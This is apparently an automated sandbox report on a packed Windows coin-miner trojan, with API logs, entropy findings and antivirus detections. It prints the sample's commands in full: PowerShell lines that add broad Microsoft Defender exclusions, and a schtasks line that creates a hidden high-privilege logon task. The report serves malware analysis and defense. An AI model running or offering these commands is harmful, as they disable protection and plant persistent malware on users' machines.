NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe933db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2520 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002760000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Dec. 18, 2021, 11:49 p.m.	process_identifier: 2520 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (5 events)

cmdline	"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
cmdline	schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline	"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline	powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
cmdline	powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW Dec. 18, 2021, 11:49 p.m.	thread_identifier: 2468 thread_handle: 0x00000000000001ec process_identifier: 2464 current_directory: C:\Windows\system32 filepath: track: 1 command_line: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x00000000000001fc	1	1
CreateProcessInternalW Dec. 18, 2021, 11:50 p.m.	thread_identifier: 3028 thread_handle: 0x0000000000000288 process_identifier: 3024 current_directory: C:\Windows\system32 filepath: track: 1 command_line: "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000294	1	1
CreateProcessInternalW Dec. 18, 2021, 11:50 p.m.	thread_identifier: 2552 thread_handle: 0x000000000000028c process_identifier: 2548 current_directory: C:\Windows\system32 filepath: track: 1 command_line: "cmd" cmd /c "C:\Windows\system32\services32.exe" filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000298	1	1
CreateProcessInternalW Dec. 18, 2021, 11:43 p.m.	thread_identifier: 1504 thread_handle: 0x00000000000001ec process_identifier: 1492 current_directory: C:\Windows\system32 filepath: track: 1 command_line: "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x0000000000000200	1	1

The binary likely contains encrypted or compressed data indicative of a packer (3 events)

section

{u'size_of_data': u'0x001e6c00', u'virtual_address': u'0x00002000', u'entropy': 7.999104503457575, u'name': u'.text', u'virtual_size': u'0x001e6ad8'}

entropy

7.99910450346

description

A section with a high entropy has been found

section

{u'size_of_data': u'0x0000d600', u'virtual_address': u'0x001ea000', u'entropy': 7.193596609253887, u'name': u'.rsrc', u'virtual_size': u'0x0000d568'}

entropy

7.19359660925

description

A section with a high entropy has been found

entropy

1.0

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Dec. 18, 2021, 11:49 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Dec. 18, 2021, 11:49 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Dec. 18, 2021, 11:43 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Dec. 18, 2021, 11:43 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline	"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"

Installs itself for autorun at Windows startup (2 events)

cmdline	schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"
cmdline	"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Elastic	malicious (high confidence)
DrWeb	Trojan.InjectNET.14
FireEye	Generic.mg.cd06b2114626a7ac
McAfee	Artemis!CD06B2114626
Cylance	Unsafe
Sangfor	Suspicious.Win32.Save.a
CrowdStrike	win/malicious_confidence_70% (D)
Cyren	W64/MSIL_Troj.BCG.gen!Eldorado
ESET-NOD32	a variant of MSIL/CoinMiner.BMT
Kaspersky	HEUR:Trojan.MSIL.Inject.gen
Avast	Win64:CoinminerX-gen [Trj]
Tencent	Msil.Trojan.Inject.Syhq
McAfee-GW-Edition	Artemis
Sophos	Mal/Generic-S
Ikarus	Trojan.MSIL.CoinMiner
Avira	HEUR/AGEN.1203865
Microsoft	Trojan:MSIL/Injectgen.MA!MTB
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.Generic.C4681542
Malwarebytes	Trojan.BitCoinMiner.Generic
APEX	Malicious
SentinelOne	Static AI - Malicious PE
eGambit	Unsafe.AI_Score_99%
Fortinet	MSIL/CoinMiner.BMT!tr
AVG	Win64:CoinminerX-gen [Trj]

et.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All